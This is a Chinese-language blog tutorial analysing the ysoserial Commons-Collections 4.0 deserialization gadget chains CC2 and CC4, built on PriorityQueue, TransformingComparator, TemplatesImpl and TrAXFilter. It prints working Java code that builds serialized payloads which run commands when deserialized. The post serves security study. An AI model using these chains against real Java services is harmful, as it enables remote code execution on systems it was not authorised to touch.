YsoSerial 工具常用Payload分析之Common-Collections2、4（五）

前言

Common-Collections <= 3.2.1 对应与YsoSerial为CC1、3、5、6、7 ，Commno-collections4.0对应与CC2、4. 这篇文章结束官方原版YsoSerial关于Common-Collections链的分析就已经结束了。

CC2

TemplatesImpl

在之前有介绍过TemplatesImpl 这个类的命令执行利用方法，我们回顾一下，TemplatesImpl中存在对变量_bytecodes 进行defineClass加载的 defineTransletClasses 方法：

这会在JVM中夹在类对象，巧合的是，内部又存在 getTransletInstance() 方法，对刚刚加载的类进行实例化：

对外提供的公共方法中，newTransformer() 又会调用 getTransletInstance() 方法，所以找到利用链中有谁能够调用newTransformer() 就好。

TransformingComparator

这里介绍一个新东西TransformingComparator，这个类在Common-collections3.x 和4.x 都存在，但3.x的版本没有继承 Serializable ，所以不能用在反序列化利用里面，写代码引入的时候要注意不要引错。

TransformingComparator 实现了 Comparator 接口，里面的 compare 用作进行两个对象进行比较，接口方法要求：如果o1< o2 返回负数， o1=o2 返回0，o1>02 返回正数：

compare 方法的使用场景会用在数组、队列的排序上，我们来看一下 TransformingComparator 对 compare 方法的实现：

在进行比较前，分别先对两个对象进行执行transfrom方法， 得到的结果再对对象进行compare操作，transfrom 和 decorated 来自类构造方法传入：

如果不传入 decorated 则默认使用 ComparableComparator ：

这里的compare方法里面有调用transfomer方法，以及能够触发之前介绍过的common-collections恶意transfomer，需要找到一个类在反序列化过程中有调用 compare 方法。

PriorityQueue

队列是遵循先进先出（First-In-First-Out）模式的，但有时需要在队列中基于优先级处理对象。

举两个例子：

1. 作业系统中的调度程序，当一个作业完成后，需要在所有等待调度的作业中选择一个优先级最高的作业来执行，并且也可以添加一个新的作业到作业的优先队列中。
2. 每日交易时段生成股票报告的应用程序中，需要处理大量数据并且花费很多处理时间。客户向这个应用程序发送请求时，实际上就进入了队列。我们需要首先处理优先客户再处理普通用户。在这种情况下，Java的PriorityQueue(优先队列)会很有帮助。

PriorityQueue类在Java1.5中引入并作为 Java Collections Framework 的一部分。PriorityQueue是基于优先堆的一个无界队列，这个优先队列中的元素可以默认自然排序或者通过提供的Comparator（比较器）在队列实例化的时排序。

优先队列不允许空值，而且不支持non-comparable（不可比较）的对象，比如用户自定义的类。优先队列要求使用Java Comparable和Comparator接口给对象排序，并且在排序时会按照优先级处理其中的元素。

优先队列的头是基于自然排序或者Comparator排序的最小元素。如果有多个对象拥有同样的排序，那么就可能随机地取其中任意一个。当我们获取队列时，返回队列的头对象。

优先队列的大小是不受限制的，但在创建时可以指定初始大小。当我们向优先队列增加元素的时候，队列大小会自动增加。

PriorityQueue是非线程安全的，所以Java提供了PriorityBlockingQueue（实现BlockingQueue接口）用于Java多线程环境。

总的来说就是一种特殊的队列，初始化时可传入comparator，在添加或者删除队列元素时可调用comparator.compare 方法完成排序。

打开PriorityQueue源码，找到readObject，里面依次调用heapify -> siftDown -> siftDownUsingComparator：

其中 siftDownUsingComparator 有调用compare方法：

这里就和上面的TransformingComparator串起来了。

挖掘利用链

思路一

PriorityQueue里面调用compare 方法，而TransformingComparator#compare有调用transfomer方法，其实已经将漏洞利用给串起来了，那我们使用一个恶意的Transfomer数组也可以可以利用的：

        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((chainedTransformer) ));
        priorityQueue.add(1);
        priorityQueue.add(1);



        ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
//        Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
//        Object[] objects = (Object[]) queue.get(priorityQueue);
//        objects[0] = 1;
//        objects[1] = 1;

        String path = ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

其中 ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); 是为了避免序列化过程中执行恶意代码，前面利用链分析已经讲过，不再赘述，查看执行效果：

发现有两个计算器弹出，这是因为在compare中执行了两个Transformer方法：

思路二

其实上面的代码已经能够在common-collections4.0下执行，但YsoSerial却不是这么写的，YsoSerial更加简洁，使用我们之间介绍的TemplatesImpl，直接利用InvokerTransfomer进行触发，代码如下：

        Templates templates =  ExpUtils.getEvilTemplates();
        InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((transformer) ));
        priorityQueue.add(1);
        priorityQueue.add(1);

        ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
        Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
        Object[] objects = (Object[]) queue.get(priorityQueue);
        objects[0] = templates;
        objects[1] = 1;

        String path = ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

同样 ReflectUtils.setFields(transformer,"iMethodName","newTransformer"); 和：

 		Field queue =   ReflectUtils.getFields(priorityQueue,"queue");
        Object[] objects = (Object[]) queue.get(priorityQueue);
        objects[0] = templates;
        objects[1] = 1;

都是为了避免在队列添加时触发代码而代码执行，执行结果

成功执行命令，只弹出一个是因为执行TemplatesImpl时会报错抛异常从而导致无法执行下一个transfomer。

CC4

其实CC4 同样也是使用PriorityQueue，只不过在tranfomer选择了TrAXFilter，这个和CC3是一致的，只不过是用PriorityQueue来触发，具体原理不再继续分析，直接贴代码：

        Templates templates = ExpUtils.getEvilTemplates();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"foo"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(String.class),
                instantiateTransformer
        });
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
        priorityQueue.add(1);
        priorityQueue.add(2);

        ReflectUtils.setFields(chainedTransformer,"iTransformers",new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });
        String path =  ExpUtils.serialize(priorityQueue);
        ExpUtils.unserialize(path);

执行结果：

总结

CC2、CC4都是利用基本数据类型PriorityQueue完成漏洞触发，只不过CC2使用了TemplesImpl结合InvokerTransfomer，CC4使用了TrAXFilter结合InstantiateTransformer来触发，相对来说都比较简单。

至此，终于终于把YsoSerial关于Common-Collections的内容分析完了，这里面的7条链每一条都有详细跟进，介绍里面的关键利用店，然后自己手敲代码实现7条链，在不断分析这些链的过程中不断感叹这些安全研究人员还真不是吃素的，很多逻辑利用很是巧妙，非常佩服他们。

接下来我会继续分析CommonsBeanutils1、Jdk7u21，有时间再分析下FileUpload1。

公众号

欢迎大家关注我的公众号，这里有干货满满的硬核安全知识，和我一起学起来吧！